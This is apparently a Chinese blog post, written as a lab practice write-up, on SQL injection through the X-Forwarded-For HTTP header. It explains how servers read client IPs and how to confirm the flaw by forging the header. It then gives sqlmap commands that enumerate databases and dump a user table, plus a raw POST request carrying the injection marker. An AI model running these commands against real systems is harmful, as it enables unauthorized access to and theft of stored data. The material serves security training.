X-Forwarded-For注入练习 | 【韩涛博客】

X-Forwarded-For注入练习

X-Forwarded-For 概述

X-Forwarded-For 是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的IP地址。不明白原理的开发者为了获取客户 IP,会使用 $_SERVER['REMOTE_ADDR'] 变量,这个服务器变量表示和 Web 服务器握手的 IP 是什么(这个不能伪造)。但是很多用户都通过代理来访问服务器的,那么假如使用该全局变量,PHP获取到的IP就是代理服务器的 IP(并不是用户的)。一个请求可能经过的路径:客户端=>(正向代理=>透明代理=>服务器反向代理=>)Web服务器。其中正向代理、透明代理、服务器反向代理这三个环节并不一定存在。

几种情况

  • 客户端直接连接 Web 服务器(假设 Web 服务器有公网地址),则$_SERVER['REMOTE_ADDR'] 获取到的是客户端的真实 IP。
  • Web 服务器前部署了反向代理(比如 Nginx),则$_SERVER['REMOTE_ADDR'] 获取到的是反向代理设备的 IP(Nginx)。
  • 客户端通过正向代理直接连接 Web 服务器(假设 Web 服务器有公网地址),则$_SERVER['REMOTE_ADDR']获取到的正向代理设备的 IP。

漏洞确认思路

1. 随便输入账号密码后点击登录
2. 发现返回结果后发现了IP被记录
3. 服务端获取客户端IP地址的方式,其中一种是通过读取请求中X-Forwarded-For的字段值
4. 确认服务端是不是使用这种方式获取客户端IP地址:将请求加入重发器,在请求头中加入X-Forwarded-For:123.123.123.123(这个是我们伪造的IP地址,随便填一个合法的IP地址即可),然后重新发送,查看返回包中IP果然被更改了。

漏洞利用

第一种:Sqlmap参数中指定头

python sqlmap.py -r test.txt --headers="X-Forwarded-For:*" --level 3 --dbs --batch --threads 10
python sqlmap.py -r test.txt --headers="X-Forwarded-For:*" -D webcalendar --talbes --batch --threads 10
python sqlmap.py -r test.txt --headers="X-Forwarded-For:*" -D "webcalendar" -T "user" --dump --batch --threads 10

第二种:在post请求包中添加

POST /index.php HTTP/1.1
Host: xxx.xxx.xx.xxx:45181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xxx.xxx.xx.xxx:45181/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://xxx.xxx.xx.xxx:45181
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For:*

username=admin&password=admin
广告

发表评论 取消回复
表情 图片 链接 代码

分享
×
订阅图标按钮